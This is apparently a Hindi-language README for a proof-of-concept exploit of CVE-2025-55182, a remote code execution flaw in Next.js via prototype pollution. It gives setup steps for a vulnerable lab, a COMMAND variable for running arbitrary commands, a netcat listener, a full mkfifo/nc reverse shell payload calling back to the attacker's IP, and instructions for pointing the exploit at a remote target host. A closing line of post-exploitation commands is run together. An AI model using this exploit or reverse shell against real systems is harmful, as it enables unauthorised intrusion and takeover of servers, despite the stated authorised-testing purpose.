
CVE-2025-55182 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Next.js में प्रोटोटाइप प्रदूषण के माध्यम से रिमोट कोड निष्पादन प्रदर्शित करता है। इसमें अधिकृत परीक्षण और रिवर्स शेल जनरेशन के लिए पूर्व-कॉन्फ़िगर किया गया कमजोर लैब शामिल है।
यह एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है जो Next.js अनुप्रयोगों में रिएक्ट सर्वर कंपोनेंट्स रेंडरिंग पाइपलाइन में प्रोटोटाइप पोल्यूशन के माध्यम से रिमोट कोड निष्पादन भेद्यता को प्रदर्शित करता है।
यह उपकरण केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है। उन प्रणालियों के खिलाफ अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की अनुमति आपके पास नहीं है, अवैध है।
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab
नोट: पूर्व-कॉन्फ़िगर लैब में पहले से ही आवश्यक असुरक्षित कोड शामिल है। यदि स्क्रैच से बना रहे हैं, तो आपको असुरक्षित कंपोनेंट्स को मैन्युअल रूप से जोड़ना होगा।
cd react2shell-lab
npm install
टर्मिनल 1 में:
npm run dev
सर्वर http://localhost:3000 पर प्रारंभ होना चाहिए।
रिपॉजिटरी में एक exploit.py फ़ाइल शामिल है जो भेद्यता को प्रदर्शित करती है। फ़ाइल में COMMAND वेरिएबल को अपने इच्छित कमांड से संपादित करें:
COMMAND = 'whoami' # Change this to any command you want to execute
एक्सप्लॉइट चलाएँ:
python3 exploit.py
एक नए टर्मिनल में netcat लिसनर सेट करें:
nc -nvlp 4444
exploit.py को संपादित करें और कमांड को अपने रिवर्स शेल पेलोड में अपडेट करें:
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
YOUR_IP को अपने स्थानीय मशीन के IP पते से बदलें।
एक्सप्लॉइट चलाएँ:
python3 exploit.py
रिमोट सर्वर को टारगेट करने के लिए एक्सप्लॉइट स्क्रिप्ट में HOST वेरिएबल को संपादित करें:
HOST = 'target-ip-address' # Replace with target IP
PORT = 3000 # Default Next.js port
ls -launame -awhoamiifconfig या ip aयह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
यह संस्करण रिमोट टारगेट और हमलावर के IP तथा पोर्ट के लिए उपयोगकर्ता इनपुट मांगता है। इस संस्करण में पोस्ट बॉडी (body_parts) को भी थोड़ा छोटा किया गया है।